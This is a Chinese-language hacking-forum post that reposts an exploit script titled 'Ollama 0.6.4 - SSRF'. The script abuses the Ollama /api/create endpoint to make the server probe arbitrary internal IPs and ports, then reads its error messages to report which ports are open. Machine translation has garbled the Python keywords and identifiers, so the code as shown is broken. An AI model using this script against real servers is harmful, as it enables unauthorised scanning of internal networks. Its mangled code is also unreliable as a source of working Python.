H

Ollama 0.6.4-服务器端请求伪造(SSRF)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Ollama 0.6.4 -SSRF
#日期: 2025-04-03
#利用作者: sud0
#供应商homepage: https://ollama.com/
#软件link: https://github.com/ollama/ollama/releases
#版本:=0.6.4
#测试在: Centos 8
导入argparse
导入请求
进口JSON
从urllib.parse导入urljoin
DEF CHECK_PORT(API_BASE,IP,端口):
api_endpoint=api_base.rstrip('/') +'/api/create'
model_path='mynp/model:1.1'
target_url=f'https://{ip} : {port}/{model_path}'
有效载荷={
'Model':'Mario',
'来自: target_url,
'System':'您是超级马里奥兄弟的马里奥。'
}
TRY:
响应=requests.post(api_endpoint,json=有效载荷,超时=10,流=true)
response.raise_for_status()
对于响应中的行。ITER_LINES():
如果LINE:
TRY:
json_data=json.loads(line.decode('utf-8'))
如果JSON_DATA中的“错误”和JSON_DATA中的“ Pull模型清单” ['错误'] :
error_msg=json_data ['错误']
model_path_list=model_path.split(':',2)
model_path_prefix=model_path_list [0]
model_path_suffix=model_path_list [1]
model_path_with_manifests=f'{model_path_prefix}/subtests/{model_path_suffix}'
如果model_path_with_manifests在error_msg:中
path_start=error_msg.find(model_path_with_manifests)
结果=error_msg [path_start+len(model_path_with_manifests)+3:]如果path_start!=-1 else'''''
打印(f'raw响应: {result}')
如果在error_msg.lower():中的“连接拒绝”
打印(f'[!]端口关闭- {ip} : {port}')
其他:
打印(f'[+]端口可能打开- {ip} : {port}')
返回
除JSON.JSONDECODEERROR:
继续
print(f'[?] Unkown状态- {ip} : {port}')
除了requests.exceptions.requestexception为e:
打印(f'[x]执行失败: {str(e)}')
如果name=='__ -Main __':
parser=argparse.argumentparser(description='ollama ssrf-端口扫描')
parser.add_argument(' - api',必需=true,help='ollama api url')
parser.add_argument(' - i','-ip',必需=true,help='target ip')
parser.add_argument(' - p',' - port',必需=true,type=int,help='target port')
args=parser.parse_args()
check_port(args.api,args.ip,args.port)
 
后退
顶部